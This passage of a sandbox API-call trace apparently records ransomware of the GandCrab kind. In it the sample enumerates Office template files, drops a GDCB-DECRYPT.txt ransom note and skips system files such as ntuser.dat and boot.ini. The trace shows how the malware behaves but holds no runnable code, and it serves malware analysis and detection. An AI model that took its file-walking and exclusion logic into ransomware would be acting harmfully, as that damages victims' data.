lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox" [0135.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141 [0135.684] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.684] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.684] lstrcmpW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2=".") returned 1 [0135.684] lstrcmpW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="..") returned 1 [0135.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328919[[fn=Hexagon Radial]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox" [0135.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328925[[fn=Interconnected Block Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328932[[fn=Picture Frame]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328935[[fn=Picture Organization Chart]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328940[[fn=Radial Picture List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328951[[fn=Tabbed Arc]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328972[[fn=Tab List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328975[[fn=Theme Picture Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328983[[fn=Theme Picture Alternating Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2=".") returned 1 [0135.685] lstrcmpW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="..") returned 1 [0135.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328986[[fn=Theme Picture Grid]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox" [0135.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144 [0135.685] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.685] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.685] lstrcmpW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2=".") returned 1 [0135.686] lstrcmpW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="..") returned 1 [0135.686] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328990[[fn=Varying Width List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox" [0135.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144 [0135.686] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.686] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.686] lstrcmpW (lpString1="TM03328998[[fn=Rings]].glox", lpString2=".") returned 1 [0135.686] lstrcmpW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="..") returned 1 [0135.686] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328998[[fn=Rings]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox" [0135.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131 [0135.686] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.686] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0135.686] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.686] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\\\GDCB-DECRYPT.txt") returned 121 [0135.686] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.688] GetLastError () returned 0x50 [0135.688] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned 104 [0135.688] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*" [0135.688] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x2c79c0 [0135.689] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt" [0135.689] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0135.689] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0135.689] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0135.689] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.689] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.689] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328884[[fn=architecture]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox" [0135.689] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138 [0135.689] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138 [0135.690] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328893[[fn=BracketList]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox" [0135.690] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137 [0135.690] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137 [0135.690] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328905[[fn=Chevron Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox" [0135.690] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140 [0135.690] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140 [0135.690] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328908[[fn=Circle Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox" [0135.690] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140 [0135.690] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140 [0135.690] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328916[[fn=Converging Text]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox" [0135.690] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141 [0135.690] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141 [0135.690] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328919[[fn=Hexagon Radial]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox" [0135.690] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140 [0135.690] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140 [0135.690] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328925[[fn=Interconnected Block Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox" [0135.690] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154 [0135.690] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154 [0135.690] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328932[[fn=Picture Frame]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt 